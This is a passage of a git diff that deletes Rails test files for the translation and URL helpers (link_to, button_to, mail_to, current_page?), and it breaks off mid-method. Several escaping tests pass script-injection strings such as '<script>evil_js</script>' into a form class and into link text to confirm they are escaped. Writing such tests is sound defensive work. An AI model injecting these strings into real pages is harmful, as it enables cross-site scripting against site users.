- I18n.backend.store_translations(:en,
- :translations => {
- :templates => {
- :found => { :foo => 'Foo' },
- :array => { :foo => { :bar => 'Foo Bar' } },
- :default => { :foo => 'Foo' }
- },
- :foo => 'Foo',
- :hello => '<a>Hello World</a>',
- :html => '<a>Hello World</a>',
- :hello_html => '<a>Hello World</a>',
- :interpolated_html => '<a>Hello %{word}</a>',
- :array_html => %w(foo bar),
- :array => %w(foo bar),
- :count_html => {
- :one => '<a>One %{count}</a>',
- :other => '<a>Other %{count}</a>'
- }
- }
- )
- @view = ::ActionView::Base.new(ActionController::Base.view_paths, {})
- end
-
- def test_delegates_to_i18n_setting_the_rescue_format_option_to_html
- I18n.expects(:translate).with(:foo, :locale => 'en', :rescue_format => :html).returns("")
- translate :foo, :locale => 'en'
- end
-
- def test_delegates_localize_to_i18n
- @time = Time.utc(2008, 7, 8, 12, 18, 38)
- I18n.expects(:localize).with(@time)
- localize @time
- end
-
- def test_returns_missing_translation_message_wrapped_into_span
- expected = '<span class="translation_missing" title="translation missing: en.translations.missing">Missing</span>'
- assert_equal expected, translate(:"translations.missing")
- assert_equal true, translate(:"translations.missing").html_safe?
- end
-
- def test_returns_missing_translation_message_using_nil_as_rescue_format
- expected = 'translation missing: en.translations.missing'
- assert_equal expected, translate(:"translations.missing", :rescue_format => nil)
- assert_equal false, translate(:"translations.missing", :rescue_format => nil).html_safe?
- end
-
- def test_i18n_translate_defaults_to_nil_rescue_format
- expected = 'translation missing: en.translations.missing'
- assert_equal expected, I18n.translate(:"translations.missing")
- assert_equal false, I18n.translate(:"translations.missing").html_safe?
- end
-
- def test_translation_returning_an_array
- expected = %w(foo bar)
- assert_equal expected, translate(:"translations.array")
- end
-
- def test_finds_translation_scoped_by_partial
- assert_equal 'Foo', view.render(:file => 'translations/templates/found').strip
- end
-
- def test_finds_array_of_translations_scoped_by_partial
- assert_equal 'Foo Bar', @view.render(:file => 'translations/templates/array').strip
- end
-
- def test_default_lookup_scoped_by_partial
- assert_equal 'Foo', view.render(:file => 'translations/templates/default').strip
- end
-
- def test_missing_translation_scoped_by_partial
- expected = '<span class="translation_missing" title="translation missing: en.translations.templates.missing.missing">Missing</span>'
- assert_equal expected, view.render(:file => 'translations/templates/missing').strip
- end
-
- def test_translate_does_not_mark_plain_text_as_safe_html
- assert_equal false, translate(:'translations.hello').html_safe?
- end
-
- def test_translate_marks_translations_named_html_as_safe_html
- assert translate(:'translations.html').html_safe?
- end
-
- def test_translate_marks_translations_with_a_html_suffix_as_safe_html
- assert translate(:'translations.hello_html').html_safe?
- end
-
- def test_translate_escapes_interpolations_in_translations_with_a_html_suffix
- assert_equal '<a>Hello &lt;World&gt;</a>', translate(:'translations.interpolated_html', :word => '<World>')
- assert_equal '<a>Hello &lt;World&gt;</a>', translate(:'translations.interpolated_html', :word => stub(:to_s => "<World>"))
- end
-
- def test_translate_with_html_count
- assert_equal '<a>One 1</a>', translate(:'translations.count_html', :count => 1)
- assert_equal '<a>Other 2</a>', translate(:'translations.count_html', :count => 2)
- assert_equal '<a>Other &lt;One&gt;</a>', translate(:'translations.count_html', :count => '<One>')
- end
-
- def test_translation_returning_an_array_ignores_html_suffix
- assert_equal ["foo", "bar"], translate(:'translations.array_html')
- end
-
- def test_translate_with_default_named_html
- translation = translate(:'translations.missing', :default => :'translations.hello_html')
- assert_equal '<a>Hello World</a>', translation
- assert_equal true, translation.html_safe?
- end
-
- def test_translate_with_two_defaults_named_html
- translation = translate(:'translations.missing', :default => [:'translations.missing_html', :'translations.hello_html'])
- assert_equal '<a>Hello World</a>', translation
- assert_equal true, translation.html_safe?
- end
-
- def test_translate_with_last_default_named_html
- translation = translate(:'translations.missing', :default => [:'translations.missing', :'translations.hello_html'])
- assert_equal '<a>Hello World</a>', translation
- assert_equal true, translation.html_safe?
- end
-
- def test_translate_with_string_default
- translation = translate(:'translations.missing', default: 'A Generic String')
- assert_equal 'A Generic String', translation
- end
-
- def test_translate_with_array_of_string_defaults
- translation = translate(:'translations.missing', default: ['A Generic String', 'Second generic string'])
- assert_equal 'A Generic String', translation
- end
-end
diff --git a/actionpack/test/template/url_helper_test.rb b/actionpack/test/template/url_helper_test.rb
deleted file mode 100644
index 1bb625213d..0000000000
--- a/actionpack/test/template/url_helper_test.rb
+++ /dev/null
@@ -1,864 +0,0 @@
-# encoding: utf-8
-require 'abstract_unit'
-require 'controller/fake_controllers'
-
-class UrlHelperTest < ActiveSupport::TestCase
-
- # In a few cases, the helper proxies to 'controller'
- # or request.
- #
- # In those cases, we'll set up a simple mock
- attr_accessor :controller, :request
-
- cattr_accessor :request_forgery
- self.request_forgery = false
-
- routes = ActionDispatch::Routing::RouteSet.new
- routes.draw do
- get "/" => "foo#bar"
- get "/other" => "foo#other"
- get "/article/:id" => "foo#article", :as => :article
- end
-
- include ActionView::Helpers::UrlHelper
- include routes.url_helpers
-
- include ActionView::Helpers::JavaScriptHelper
- include ActionDispatch::Assertions::DomAssertions
- include ActionView::Context
- include RenderERBUtils
-
- setup :_prepare_context
-
- def hash_for(options = {})
- { controller: "foo", action: "bar" }.merge!(options)
- end
- alias url_hash hash_for
-
- def test_url_for_does_not_escape_urls
- assert_equal "/?a=b&c=d", url_for(hash_for(a: :b, c: :d))
- end
-
- def test_url_for_with_back
- referer = 'http://www.example.com/referer'
- @controller = Struct.new(:request).new(Struct.new(:env).new("HTTP_REFERER" => referer))
-
- assert_equal 'http://www.example.com/referer', url_for(:back)
- end
-
- def test_url_for_with_back_and_no_referer
- @controller = Struct.new(:request).new(Struct.new(:env).new({}))
- assert_equal 'javascript:history.back()', url_for(:back)
- end
-
- # TODO: missing test cases
- def test_button_to_with_straight_url
- assert_dom_equal %{<form method="post" action="http://www.example.com" class="button_to"><div><input type="submit" value="Hello" /></div></form>}, button_to("Hello", "http://www.example.com")
- end
-
- def test_button_to_with_straight_url_and_request_forgery
- self.request_forgery = true
-
- assert_dom_equal(
- %{<form method="post" action="http://www.example.com" class="button_to"><div><input type="submit" value="Hello" /><input name="form_token" type="hidden" value="secret" /></div></form>},
- button_to("Hello", "http://www.example.com")
- )
- ensure
- self.request_forgery = false
- end
-
- def test_button_to_with_form_class
- assert_dom_equal %{<form method="post" action="http://www.example.com" class="custom-class"><div><input type="submit" value="Hello" /></div></form>}, button_to("Hello", "http://www.example.com", form_class: 'custom-class')
- end
-
- def test_button_to_with_form_class_escapes
- assert_dom_equal %{<form method="post" action="http://www.example.com" class="&lt;script&gt;evil_js&lt;/script&gt;"><div><input type="submit" value="Hello" /></div></form>}, button_to("Hello", "http://www.example.com", form_class: '<script>evil_js</script>')
- end
-
- def test_button_to_with_query
- assert_dom_equal %{<form method="post" action="http://www.example.com/q1=v1&amp;q2=v2" class="button_to"><div><input type="submit" value="Hello" /></div></form>}, button_to("Hello", "http://www.example.com/q1=v1&q2=v2")
- end
-
- def test_button_to_with_html_safe_URL
- assert_dom_equal %{<form method="post" action="http://www.example.com/q1=v1&amp;q2=v2" class="button_to"><div><input type="submit" value="Hello" /></div></form>}, button_to("Hello", "http://www.example.com/q1=v1&amp;q2=v2".html_safe)
- end
-
- def test_button_to_with_query_and_no_name
- assert_dom_equal %{<form method="post" action="http://www.example.com?q1=v1&amp;q2=v2" class="button_to"><div><input type="submit" value="http://www.example.com?q1=v1&amp;q2=v2" /></div></form>}, button_to(nil, "http://www.example.com?q1=v1&q2=v2")
- end
-
- def test_button_to_with_javascript_confirm
- assert_dom_equal(
- %{<form method="post" action="http://www.example.com" class="button_to"><div><input data-confirm="Are you sure?" type="submit" value="Hello" /></div></form>},
- button_to("Hello", "http://www.example.com", data: { confirm: "Are you sure?" })
- )
- end
-
- def test_button_to_with_deprecated_confirm
- assert_deprecated ":confirm option is deprecated and will be removed from Rails 4.1. Use 'data: { confirm: \'Text\' }' instead" do
- assert_dom_equal(
- %{<form method="post" action="http://www.example.com" class="button_to"><div><input data-confirm="Are you sure?" type="submit" value="Hello" /></div></form>},
- button_to("Hello", "http://www.example.com", confirm: "Are you sure?")
- )
- end
- end
-
- def test_button_to_with_javascript_disable_with
- assert_dom_equal(
- %{<form method="post" action="http://www.example.com" class="button_to"><div><input data-disable-with="Greeting..." type="submit" value="Hello" /></div></form>},
- button_to("Hello", "http://www.example.com", data: { disable_with: "Greeting..." })
- )
- end
-
- def test_button_to_with_javascript_deprecated_disable_with
- assert_deprecated ":disable_with option is deprecated and will be removed from Rails 4.1. Use 'data: { disable_with: \'Text\' }' instead" do
- assert_dom_equal(
- %{<form method="post" action="http://www.example.com" class="button_to"><div><input data-disable-with="Greeting..." type="submit" value="Hello" /></div></form>},
- button_to("Hello", "http://www.example.com", disable_with: "Greeting...")
- )
- end
- end
-
- def test_button_to_with_remote_and_form_options
- assert_dom_equal(
- %{<form method="post" action="http://www.example.com" class="custom-class" data-remote="true" data-type="json"><div><input type="submit" value="Hello" /></div></form>},
- button_to("Hello", "http://www.example.com", remote: true, form: { class: "custom-class", "data-type" => "json" })
- )
- end
-
- def test_button_to_with_remote_and_javascript_confirm
- assert_dom_equal(
- %{<form method="post" action="http://www.example.com" class="button_to" data-remote="true"><div><input data-confirm="Are you sure?" type="submit" value="Hello" /></div></form>},
- button_to("Hello", "http://www.example.com", remote: true, data: { confirm: "Are you sure?" })
- )
- end
-
- def test_button_to_with_remote_and_javascript_with_deprecated_confirm
- assert_deprecated ":confirm option is deprecated and will be removed from Rails 4.1. Use 'data: { confirm: \'Text\' }' instead" do
- assert_dom_equal(
- %{<form method="post" action="http://www.example.com" class="button_to" data-remote="true"><div><input data-confirm="Are you sure?" type="submit" value="Hello" /></div></form>},
- button_to("Hello", "http://www.example.com", remote: true, confirm: "Are you sure?")
- )
- end
- end
-
- def test_button_to_with_remote_and_javascript_disable_with
- assert_dom_equal(
- %{<form method="post" action="http://www.example.com" class="button_to" data-remote="true"><div><input data-disable-with="Greeting..." type="submit" value="Hello" /></div></form>},
- button_to("Hello", "http://www.example.com", remote: true, data: { disable_with: "Greeting..." })
- )
- end
-
- def test_button_to_with_remote_and_javascript_deprecated_disable_with
- assert_deprecated ":disable_with option is deprecated and will be removed from Rails 4.1. Use 'data: { disable_with: \'Text\' }' instead" do
- assert_dom_equal(
- %{<form method="post" action="http://www.example.com" class="button_to" data-remote="true"><div><input data-disable-with="Greeting..." type="submit" value="Hello" /></div></form>},
- button_to("Hello", "http://www.example.com", remote: true, disable_with: "Greeting...")
- )
- end
- end
-
- def test_button_to_with_remote_false
- assert_dom_equal(
- %{<form method="post" action="http://www.example.com" class="button_to"><div><input type="submit" value="Hello" /></div></form>},
- button_to("Hello", "http://www.example.com", remote: false)
- )
- end
-
- def test_button_to_enabled_disabled
- assert_dom_equal(
- %{<form method="post" action="http://www.example.com" class="button_to"><div><input type="submit" value="Hello" /></div></form>},
- button_to("Hello", "http://www.example.com", disabled: false)
- )
- assert_dom_equal(
- %{<form method="post" action="http://www.example.com" class="button_to"><div><input disabled="disabled" type="submit" value="Hello" /></div></form>},
- button_to("Hello", "http://www.example.com", disabled: true)
- )
- end
-
- def test_button_to_with_method_delete
- assert_dom_equal(
- %{<form method="post" action="http://www.example.com" class="button_to"><div><input type="hidden" name="_method" value="delete" /><input type="submit" value="Hello" /></div></form>},
- button_to("Hello", "http://www.example.com", method: :delete)
- )
- end
-
- def test_button_to_with_method_get
- assert_dom_equal(
- %{<form method="get" action="http://www.example.com" class="button_to"><div><input type="submit" value="Hello" /></div></form>},
- button_to("Hello", "http://www.example.com", method: :get)
- )
- end
-
- def test_button_to_with_block
- assert_dom_equal(
- %{<form method="post" action="http://www.example.com" class="button_to"><div><button type="submit"><span>Hello</span></button></div></form>},
- button_to("http://www.example.com") { content_tag(:span, 'Hello') }
- )
- end
-
- def test_link_tag_with_straight_url
- assert_dom_equal %{<a href="http://www.example.com">Hello</a>}, link_to("Hello", "http://www.example.com")
- end
-
- def test_link_tag_without_host_option
- assert_dom_equal(%{<a href="/">Test Link</a>}, link_to('Test Link', url_hash))
- end
-
- def test_link_tag_with_host_option
- hash = hash_for(host: "www.example.com")
- expected = %{<a href="http://www.example.com/">Test Link</a>}
- assert_dom_equal(expected, link_to('Test Link', hash))
- end
-
- def test_link_tag_with_query
- expected = %{<a href="http://www.example.com?q1=v1&amp;q2=v2">Hello</a>}
- assert_dom_equal expected, link_to("Hello", "http://www.example.com?q1=v1&q2=v2")
- end
-
- def test_link_tag_with_query_and_no_name
- expected = %{<a href="http://www.example.com?q1=v1&amp;q2=v2">http://www.example.com?q1=v1&amp;q2=v2</a>}
- assert_dom_equal expected, link_to(nil, "http://www.example.com?q1=v1&q2=v2")
- end
-
- def test_link_tag_with_back
- env = {"HTTP_REFERER" => "http://www.example.com/referer"}
- @controller = Struct.new(:request).new(Struct.new(:env).new(env))
- expected = %{<a href="#{env["HTTP_REFERER"]}">go back</a>}
- assert_dom_equal expected, link_to('go back', :back)
- end
-
- def test_link_tag_with_back_and_no_referer
- @controller = Struct.new(:request).new(Struct.new(:env).new({}))
- link = link_to('go back', :back)
- assert_dom_equal %{<a href="javascript:history.back()">go back</a>}, link
- end
-
- def test_link_tag_with_img
- link = link_to("<img src='/favicon.jpg' />".html_safe, "/")
- expected = %{<a href="/"><img src='/favicon.jpg' /></a>}
- assert_dom_equal expected, link
- end
-
- def test_link_with_nil_html_options
- link = link_to("Hello", url_hash, nil)
- assert_dom_equal %{<a href="/">Hello</a>}, link
- end
-
- def test_link_tag_with_custom_onclick
- link = link_to("Hello", "http://www.example.com", onclick: "alert('yay!')")
- expected = %{<a href="http://www.example.com" onclick="alert(&#39;yay!&#39;)">Hello</a>}
- assert_dom_equal expected, link
- end
-
- def test_link_tag_with_javascript_confirm
- assert_dom_equal(
- %{<a href="http://www.example.com" data-confirm="Are you sure?">Hello</a>},
- link_to("Hello", "http://www.example.com", data: { confirm: "Are you sure?" })
- )
- assert_dom_equal(
- %{<a href="http://www.example.com" data-confirm="You cant possibly be sure, can you?">Hello</a>},
- link_to("Hello", "http://www.example.com", data: { confirm: "You cant possibly be sure, can you?" })
- )
- assert_dom_equal(
- %{<a href="http://www.example.com" data-confirm="You cant possibly be sure,\n can you?">Hello</a>},
- link_to("Hello", "http://www.example.com", data: { confirm: "You cant possibly be sure,\n can you?" })
- )
- end
-
- def test_link_tag_with_deprecated_confirm
- assert_deprecated ":confirm option is deprecated and will be removed from Rails 4.1. Use 'data: { confirm: \'Text\' }' instead" do
- assert_dom_equal(
- %{<a href="http://www.example.com" data-confirm="Are you sure?">Hello</a>},
- link_to("Hello", "http://www.example.com", confirm: "Are you sure?")
- )
- end
- assert_deprecated ":confirm option is deprecated and will be removed from Rails 4.1. Use 'data: { confirm: \'Text\' }' instead" do
- assert_dom_equal(
- %{<a href="http://www.example.com" data-confirm="You cant possibly be sure, can you?">Hello</a>},
- link_to("Hello", "http://www.example.com", confirm: "You cant possibly be sure, can you?")
- )
- end
- assert_deprecated ":confirm option is deprecated and will be removed from Rails 4.1. Use 'data: { confirm: \'Text\' }' instead" do
- assert_dom_equal(
- %{<a href="http://www.example.com" data-confirm="You cant possibly be sure,\n can you?">Hello</a>},
- link_to("Hello", "http://www.example.com", confirm: "You cant possibly be sure,\n can you?")
- )
- end
- end
-
- def test_link_to_with_remote
- assert_dom_equal(
- %{<a href="http://www.example.com" data-remote="true">Hello</a>},
- link_to("Hello", "http://www.example.com", remote: true)
- )
- end
-
- def test_link_to_with_remote_false
- assert_dom_equal(
- %{<a href="http://www.example.com">Hello</a>},
- link_to("Hello", "http://www.example.com", remote: false)
- )
- end
-
- def test_link_to_with_symbolic_remote_in_non_html_options
- assert_dom_equal(
- %{<a href="/" data-remote="true">Hello</a>},
- link_to("Hello", hash_for(remote: true), {})
- )
- end
-
- def test_link_to_with_string_remote_in_non_html_options
- assert_dom_equal(
- %{<a href="/" data-remote="true">Hello</a>},
- link_to("Hello", hash_for('remote' => true), {})
- )
- end
-
- def test_link_tag_using_post_javascript
- assert_dom_equal(
- %{<a href="http://www.example.com" data-method="post" rel="nofollow">Hello</a>},
- link_to("Hello", "http://www.example.com", method: :post)
- )
- end
-
- def test_link_tag_using_delete_javascript
- assert_dom_equal(
- %{<a href="http://www.example.com" rel="nofollow" data-method="delete">Destroy</a>},
- link_to("Destroy", "http://www.example.com", method: :delete)
- )
- end
-
- def test_link_tag_using_delete_javascript_and_href
- assert_dom_equal(
- %{<a href="\#" rel="nofollow" data-method="delete">Destroy</a>},
- link_to("Destroy", "http://www.example.com", method: :delete, href: '#')
- )
- end
-
- def test_link_tag_using_post_javascript_and_rel
- assert_dom_equal(
- %{<a href="http://www.example.com" data-method="post" rel="example nofollow">Hello</a>},
- link_to("Hello", "http://www.example.com", method: :post, rel: 'example')
- )
- end
-
- def test_link_tag_using_post_javascript_and_confirm
- assert_dom_equal(
- %{<a href="http://www.example.com" data-method="post" rel="nofollow" data-confirm="Are you serious?">Hello</a>},
- link_to("Hello", "http://www.example.com", method: :post, data: { confirm: "Are you serious?" })
- )
- end
-
- def test_link_tag_using_post_javascript_and_with_deprecated_confirm
- assert_deprecated ":confirm option is deprecated and will be removed from Rails 4.1. Use 'data: { confirm: \'Text\' }' instead" do
- assert_dom_equal(
- %{<a href="http://www.example.com" data-method="post" rel="nofollow" data-confirm="Are you serious?">Hello</a>},
- link_to("Hello", "http://www.example.com", method: :post, confirm: "Are you serious?")
- )
- end
- end
-
- def test_link_tag_using_delete_javascript_and_href_and_confirm
- assert_dom_equal(
- %{<a href="\#" rel="nofollow" data-confirm="Are you serious?" data-method="delete">Destroy</a>},
- link_to("Destroy", "http://www.example.com", method: :delete, href: '#', data: { confirm: "Are you serious?" })
- )
- end
-
- def test_link_tag_using_delete_javascript_and_href_and_with_deprecated_confirm
- assert_deprecated ":confirm option is deprecated and will be removed from Rails 4.1. Use 'data: { confirm: \'Text\' }' instead" do
- assert_dom_equal(
- %{<a href="\#" rel="nofollow" data-confirm="Are you serious?" data-method="delete">Destroy</a>},
- link_to("Destroy", "http://www.example.com", method: :delete, href: '#', confirm: "Are you serious?")
- )
- end
- end
-
- def test_link_tag_with_block
- assert_dom_equal %{<a href="/"><span>Example site</span></a>},
- link_to('/') { content_tag(:span, 'Example site') }
- end
-
- def test_link_tag_with_block_and_html_options
- assert_dom_equal %{<a class="special" href="/"><span>Example site</span></a>},
- link_to('/', class: "special") { content_tag(:span, 'Example site') }
- end
-
- def test_link_tag_using_block_in_erb
- out = render_erb %{<%= link_to('/') do %>Example site<% end %>}
- assert_equal '<a href="/">Example site</a>', out
- end
-
- def test_link_tag_with_html_safe_string
- assert_dom_equal(
- %{<a href="/article/Gerd_M%C3%BCller">Gerd Müller</a>},
- link_to("Gerd Müller", article_path("Gerd_Müller".html_safe))
- )
- end
-
- def test_link_tag_escapes_content
- assert_dom_equal %{<a href="/">Malicious &lt;script&gt;content&lt;/script&gt;</a>},
- link_to("Malicious <script>content</script>", "/")
- end
-
- def test_link_tag_does_not_escape_html_safe_content
- assert_dom_equal %{<a href="/">Malicious <script>content</script></a>},
- link_to("Malicious <script>content</script>".html_safe, "/")
- end
-
- def test_link_to_unless
- assert_equal "Showing", link_to_unless(true, "Showing", url_hash)
-
- assert_dom_equal %{<a href="/">Listing</a>},
- link_to_unless(false, "Listing", url_hash)
-
- assert_equal "Showing", link_to_unless(true, "Showing", url_hash)
-
- assert_equal "<strong>Showing</strong>",
- link_to_unless(true, "Showing", url_hash) { |name|
- "<strong>#{name}</strong>".html_safe
- }
-
- assert_equal "test",
- link_to_unless(true, "Showing", url_hash) {
- "test"
- }
- end
-
- def test_link_to_if
- assert_equal "Showing", link_to_if(false, "Showing", url_hash)
- assert_dom_equal %{<a href="/">Listing</a>}, link_to_if(true, "Listing", url_hash)
- assert_equal "Showing", link_to_if(false, "Showing", url_hash)
- end
-
- def request_for_url(url, opts = {})
- env = Rack::MockRequest.env_for("http://www.example.com#{url}", opts)
- ActionDispatch::Request.new(env)
- end
-
- def test_current_page_with_simple_url
- @request = request_for_url("/")
- assert current_page?(url_hash)
- assert current_page?("http://www.example.com/")
- end
-
- def test_current_page_ignoring_params
- @request = request_for_url("/?order=desc&page=1")
-
- assert current_page?(url_hash)
- assert current_page?("http://www.example.com/")
- end
-
- def test_current_page_with_params_that_match
- @request = request_for_url("/?order=desc&page=1")
-
- assert current_page?(hash_for(order: "desc", page: "1"))
- assert current_page?("http://www.example.com/?order=desc&page=1")
- end
-
- def test_current_page_with_not_get_verb
- @request = request_for_url("/events", method: :post)
-
- assert !current_page?('/events')
- end
-
- def test_link_unless_current
- @request = request_for_url("/")
-
- assert_equal "Showing",
- link_to_unless_current("Showing", url_hash)
- assert_equal "Showing",
- link_to_unless_current("Showing", "http://www.example.com/")
-
- @request = request_for_url("/?order=desc")
-
- assert_equal "Showing",
- link_to_unless_current("Showing", url_hash)
- assert_equal "Showing",
- link_to_unless_current("Showing", "http://www.example.com/")
-
- @request = request_for_url("/?order=desc&page=1")
-
- assert_equal "Showing",
- link_to_unless_current("Showing", hash_for(order: 'desc', page: '1'))
- assert_equal "Showing",
- link_to_unless_current("Showing", "http://www.example.com/?order=desc&page=1")
-
- @request = request_for_url("/?order=desc")
-
- assert_equal %{<a href="/?order=asc">Showing</a>},
- link_to_unless_current("Showing", hash_for(order: :asc))
- assert_equal %{<a href="http://www.example.com/?order=asc">Showing</a>},
- link_to_unless_current("Showing", "http://www.example.com/?order=asc")
-
- @request = request_for_url("/?order=desc")
- assert_equal %{<a href="/?order=desc&amp;page=2\">Showing</a>},
- link_to_unless_current("Showing", hash_for(order: "desc", page: 2))
- assert_equal %{<a href="http://www.example.com/?order=desc&amp;page=2">Showing</a>},
- link_to_unless_current("Showing", "http://www.example.com/?order=desc&page=2")
-
- @request = request_for_url("/show")
-
- assert_equal %{<a href="/">Listing</a>},
- link_to_unless_current("Listing", url_hash)
- assert_equal %{<a href="http://www.example.com/">Listing</a>},
- link_to_unless_current("Listing", "http://www.example.com/")
- end
-
- def test_mail_to
- assert_dom_equal %{<a href="mailto:david@loudthinking.com">david@loudthinking.com</a>}, mail_to("david@loudthinking.com")
- assert_dom_equal %{<a href="mailto:david@loudthinking.com">David Heinemeier Hansson</a>}, mail_to("david@loudthinking.com", "David Heinemeier Hansson")
- assert_dom_equal(
- %{<a class="admin" href="mailto:david@loudthinking.com">David Heinemeier Hansson</a>},
- mail_to("david@loudthinking.com", "David Heinemeier Hansson", "class" => "admin")
- )
- assert_equal mail_to("david@loudthinking.com", "David Heinemeier Hansson", "class" => "admin"),
- mail_to("david@loudthinking.com", "David Heinemeier Hansson", class: "admin")
- end
-
- def test_mail_to_with_javascript
- snippet = mail_to("me@domain.com", "My email", encode: "javascript")
- assert_dom_equal "<script>eval(decodeURIComponent('%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%27%3c%61%20%68%72%65%66%3d%5c%22%6d%61%69%6c%74%6f%3a%6d%65%40%64%6f%6d%61%69%6e%2e%63%6f%6d%5c%22%3e%4d%79%20%65%6d%61%69%6c%3c%5c%2f%61%3e%27%29%3b'))</script>", snippet
- end
-
- def test_mail_to_with_javascript_unicode
- snippet = mail_to("unicode@example.com", "únicode", encode: "javascript")
- assert_dom_equal "<script>eval(decodeURIComponent('%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%27%3c%61%20%68%72%65%66%3d%5c%22%6d%61%69%6c%74%6f%3a%75%6e%69%63%6f%64%65%40%65%78%61%6d%70%6c%65%2e%63%6f%6d%5c%22%3e%c3%ba%6e%69%63%6f%64%65%3c%5c%2f%61%3e%27%29%3b'))</script>", snippet
- end
-
- def test_mail_with_options
- assert_dom_equal(
- %{<a href="mailto:me@example.com?cc=ccaddress%40example.com&amp;bcc=bccaddress%40example.com&amp;body=This%20is%20the%20body%20of%20the%20message.&amp;subject=This%20is%20an%20example%20email">My email</a>},
- mail_to("me@example.com", "My email", cc: "ccaddress@example.com", bcc: "bccaddress@example.com", subject: "This is an example email", body: "This is the body of the message.")
- )
- end
-
- def test_mail_to_with_img
- assert_dom_equal %{<a href="mailto:feedback@example.com"><img src="/feedback.png" /></a>},
- mail_to('feedback@example.com', '<img src="/feedback.png" />'.html_safe)
- end
-
- def test_mail_to_with_hex
- assert_dom_equal(
- %{<a href="&#109;&#97;&#105;&#108;&#116;&#111;&#58;%6d%65@%64%6f%6d%61%69%6e.%63%6f%6d">My email</a>},
- mail_to("me@domain.com", "My email", encode: "hex")
- )
-
- assert_dom_equal(
- %{<a href="&#109;&#97;&#105;&#108;&#116;&#111;&#58;%6d%65@%64%6f%6d%61%69%6e.%63%6f%6d">&#109;&#101;&#64;&#100;&#111;&#109;&#97;&#105;&#110;&#46;&#99;&#111;&#109;</a>},
- mail_to("me@domain.com", nil, encode: "hex")
- )
- end
-
- def test_mail_to_with_replace_options
- assert_dom_equal(
- %{<a href="mailto:wolfgang@stufenlos.net">wolfgang(at)stufenlos(dot)net</a>},
- mail_to("wolfgang@stufenlos.net", nil, replace_at: "(at)", replace_dot: "(dot)")
- )
-
- assert_dom_equal(
- %{<a href="&#109;&#97;&#105;&#108;&#116;&#111;&#58;%6d%65@%64%6f%6d%61%69%6e.%63%6f%6d">&#109;&#101;&#40;&#97;&#116;&#41;&#100;&#111;&#109;&#97;&#105;&#110;&#46;&#99;&#111;&#109;</a>},
- mail_to("me@domain.com", nil, encode: "hex", replace_at: "(at)")
- )
-
- assert_dom_equal(
- %{<a href="&#109;&#97;&#105;&#108;&#116;&#111;&#58;%6d%65@%64%6f%6d%61%69%6e.%63%6f%6d">My email</a>},
- mail_to("me@domain.com", "My email", encode: "hex", replace_at: "(at)")
- )
-
- assert_dom_equal(
- %{<a href="&#109;&#97;&#105;&#108;&#116;&#111;&#58;%6d%65@%64%6f%6d%61%69%6e.%63%6f%6d">&#109;&#101;&#40;&#97;&#116;&#41;&#100;&#111;&#109;&#97;&#105;&#110;&#40;&#100;&#111;&#116;&#41;&#99;&#111;&#109;</a>},
- mail_to("me@domain.com", nil, encode: "hex", replace_at: "(at)", replace_dot: "(dot)")
- )
-
- assert_dom_equal(
- %{<script>eval(decodeURIComponent('%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%27%3c%61%20%68%72%65%66%3d%5c%22%6d%61%69%6c%74%6f%3a%6d%65%40%64%6f%6d%61%69%6e%2e%63%6f%6d%5c%22%3e%4d%79%20%65%6d%61%69%6c%3c%5c%2f%61%3e%27%29%3b'))</script>},
- mail_to("me@domain.com", "My email", encode: "javascript", replace_at: "(at)", replace_dot: "(dot)")
- )
-
- assert_dom_equal(
- %{<script>eval(decodeURIComponent('%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%27%3c%61%20%68%72%65%66%3d%5c%22%6d%61%69%6c%74%6f%3a%6d%65%40%64%6f%6d%61%69%6e%2e%63%6f%6d%5c%22%3e%6d%65%28%61%74%29%64%6f%6d%61%69%6e%28%64%6f%74%29%63%6f%6d%3c%5c%2f%61%3e%27%29%3b'))</script>},
- mail_to("me@domain.com", nil, encode: "javascript", replace_at: "(at)", replace_dot: "(dot)")
- )
- end
-
- def test_mail_to_returns_html_safe_string
- assert mail_to("david@loudthinking.com").html_safe?
- assert mail_to("me@domain.com", "My email", encode: "javascript").html_safe?
- assert mail_to("me@domain.com", "My email", encode: "hex").html_safe?
- end
-
- def protect_against_forgery?
- self.request_forgery
- end
-
- def form_authenticity_token
- "secret"
- end
-
- def request_forgery_protection_token
- "form_token"
- end
-
- private
- def sort_query_string_params(uri)
- path, qs = uri.split('?')
- qs = qs.split('&amp;').sort.join('&amp;') if qs
- qs ? "#{path}?#{qs}" : path
- end
-end
-
-class UrlHelperControllerTest < ActionController::TestCase
- class UrlHelperController < ActionController::Base
- test_routes do
- get 'url_helper_controller_test/url_helper/show/:id',
- to: 'url_helper_controller_test/url_helper#show',
- as: :show
-
- get 'url_helper_controller_test/url_helper/profile/:name',
- to: 'url_helper_controller_test/url_helper#show',
- as: :profile
-
- get 'url_helper_controller_test/url_helper/show_named_route',
- to: 'url_helper_controller_test/url_helper#show_named_route',
- as: :show_named_route
-
- get "/:controller(/:action(/:id))"
-
- get 'url_helper_controller_test/url_helper/normalize_recall_params',
- to: UrlHelperController.action(:normalize_recall),
- as: :normalize_recall_params
-
- get '/url_helper_controller_test/url_helper/override_url_helper/default',
- to: 'url_helper_controller_test/url_helper#override_url_helper',
- as: :override_url_helper
- end
-
- def show
- if params[:name]
- render inline: 'ok'
- else
- redirect_to profile_path(params[:id])
- end
- end
-
- def show_url_for
- render inline: "<%= url_for controller: 'url_helper_controller_test/url_helper', action: 'show_url_for' %>"
- end
-
- def show_overriden_url_for
- render inline: "<%= url_for params.merge(controller: 'url_helper_controller_test/url_helper', action: 'show_url_for') %>"
- end
-
- def show_named_route
- render inline: "<%= show_named_route_#{params[:kind]} %>"
- end
-
- def nil_url_for
- render inline: '<%= url_for(nil) %>'
- end
-
- def normalize_recall_params
- render inline: '<%= normalize_recall_params_path %>'
- end
-
- def recall_params_not_changed
- render inline: '<%= url_for(action: :show_url_for) %>'
- end
-
- def override_url_helper
- render inline: '<%= override_url_helper_path %>'
- end
-
- def override_url_helper_path
- '/url_helper_controller_test/url_helper/override_url_helper/override'
- end
- helper_method :override_url_helper_path
- end
-
- tests UrlHelperController
-
- def test_url_for_shows_only_path
- get :show_url_for
- assert_equal '/url_helper_controller_test/url_helper/show_url_for', @response.body
- end
-
- def test_overriden_url_for_shows_only_path
- get :show_overriden_url_for
- assert_equal '/url_helper_controller_test/url_helper/show_url_for', @response.body
- end
-
- def test_named_route_url_shows_host_and_path
- get :show_named_route, kind: 'url'
- assert_equal 'http://test.host/url_helper_controller_test/url_helper/show_named_route',
- @response.body
- end
-
- def test_named_route_path_shows_only_path
